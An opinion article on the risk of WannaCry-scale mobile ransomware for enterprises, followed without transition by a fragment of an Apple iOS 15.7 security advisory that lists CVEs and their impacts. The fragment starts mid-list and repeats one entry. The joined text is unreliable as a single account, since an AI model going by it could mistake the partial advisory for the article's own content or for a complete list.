The WannaCry ransomware attack caught the world unaware in 2017, infecting hundreds of thousands of computers in 150 countries worldwide. And it could have been worse had a British security research group not discovered a kill switch that stopped it from spreading within hours of the attack. But its impact was substantial nevertheless, crippling systems, causing several car manufacturers to stop production, and even forcing some hospitals in the UK to turn away patients. Damage was estimated to be in the billions of dollars.

By heeding the lessons of that attack, enterprises can now work to avoid a "mobile WannaCry" before it hits, rather than dealing with the damage after the fact. A mobile-based attack of that scale is possible, and its impact could be far worse because of the ubiquity and utility of mobile phones, along with the fact that almost everyone's device is vulnerable. As a US House Intelligence Committee recently heard, mobile spyware has even infected the phones of US diplomats worldwide.

**Devices Hold the Keys to the Kingdom — and They're Everywhere**

In the five years since WannaCry's appearance, mobile devices have become even more critical targets than laptops or desktop PCs. Smartphones are with us every minute of the day and are loaded with personal and organizational data. They hold passwords and email accounts, credit card and payment data, and biometric data often used in multifactor authentication (MFA) for logical and physical access. They also have microphones, cameras, and location data that can add to the risks if a device is compromised.

But as much as we depend on them, enterprises have not adequately addressed the mobile attack surface presented by these devices. Beyond changing the security mindset to include the mobile space, there are unique challenges that apply to mobile endpoints. Bring your own device (BYOD) is one of the biggest challenges to addressing an enterprise's mobile attack surface, due to the privacy needs and requirements regarding personally owned devices. Because of privacy concerns, standard products like mobile device management (MDM) are typically used only for corporate-managed devices and are often insufficient in detecting, reporting, and securing mobile devices against modern threats.

Mobile devices can present attackers with virtual keys to the kingdom if they are compromised and used to get past MFA. Email access is a prominent attack tool, but a mobile device also can provide access to accounting, finance, and customer relationship management tools such as Salesforce, Microsoft Office 365, or Google Workspace. And with these tools now available on personal devices, outside the scope and visibility of the security infrastructure, enterprises are putting their data and services at risk in the name of technological benefits like BYOD.

**Mobile Ransomware Would Have a Double Impact**

The risks of mobile ransomware essentially exist on two fronts.

*   **Mobile devices as a delivery mechanism for ransomware:** The compromising of a device, which can be accomplished with or without the owner's knowledge, could allow the sending of a ransomware-spreading email that appears to come from a trusted co-worker or source. Mobile devices can be used to spread traditional ransomware in ways that are very difficult to detect and stop.
*   **Actual mobile ransomware:** Early versions of mobile ransomware were somewhat faux ransomware, using overlays to take advantage of accessibility features. But Apple and Google effectively closed those holes, leading attackers toward actual mobile ransomware.

A mobile attack could lock not only an organization's data and systems, but a user's as well, threatening to wipe out their bank account, for instance, if a ransom is not paid. The attacker who took ownership of that device could leave its microphone and camera on at all times to bug corporate meetings.

The bottom line is mobile ransomware attacks could do everything WannaCry did, plus a lot more.

**The Time to Focus on Security Is Now**

A future large-scale and impactful ransomware attack against mobile is inevitable. Each year, we see mobile malware become more complex, with new features and capabilities introduced to impact the victim. These advancing malware techniques are only proofs of concepts for future attacks, laying the way for larger dangers to mobile endpoints. It is only a matter of time before malicious actors deliver complex mobile ransomware with a significant impact on users and enterprises.

Enterprises have not placed a high-enough priority on mobile security as devices have become indispensable in our personal and business lives. Mobile devices are ripe for an attack of WannaCry proportions, but whether that takes the form of ransomware or something else, the time to focus on mobile security is now, before it's too late.

Don't Wait for a Mobile WannaCry

A logic issue was addressed with improved restrictions. This issue is fixed in iOS 16, iOS 15.7 and iPadOS 15.7. A person with physical access to an iOS device may be able to access photos from the lock screen.

Released September 12, 2022

**Contacts**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to bypass Privacy preferences

Description: This issue was addressed with improved checks.

CVE-2022-32854: Holger Fuhrmannek of Deutsche Telekom Security

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32911: Zweig of Kunlun Lab

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32864: Linus Henze of Pinauten GmbH (pinauten.de)

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.

Description: The issue was addressed with improved bounds checks.

CVE-2022-32917: an anonymous researcher

**Maps**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to read sensitive location information

Description: A logic issue was addressed with improved restrictions.

CVE-2022-32883: Ron Masas, breakpointhq.com

**MediaLibrary**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to elevate privileges

Description: A memory corruption issue was addressed with improved input validation.

CVE-2022-32908: an anonymous researcher

**Safari**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Visiting a malicious website may lead to address bar spoofing

Description: This issue was addressed with improved checks.

CVE-2022-32795: Narendra Bhati of Suma Soft Pvt. Ltd. Pune (India) @imnarendrabhati

**Safari Extensions**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A website may be able to track users through Safari web extensions

Description: A logic issue was addressed with improved state management.

WebKit Bugzilla: 242278  
CVE-2022-32868: Michael

**Shortcuts**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to access photos from the lock screen

Description: A logic issue was addressed with improved restrictions.

CVE-2022-32872: Elite Tech Guru

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 241969  
CVE-2022-32886: P1umer, afang5472, xmzyshypnc

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

WebKit Bugzilla: 242762  
CVE-2022-32912: Jeonghoon Shin (@singi21a) at Theori working with Trend Micro Zero Day Initiative

Tag

#apple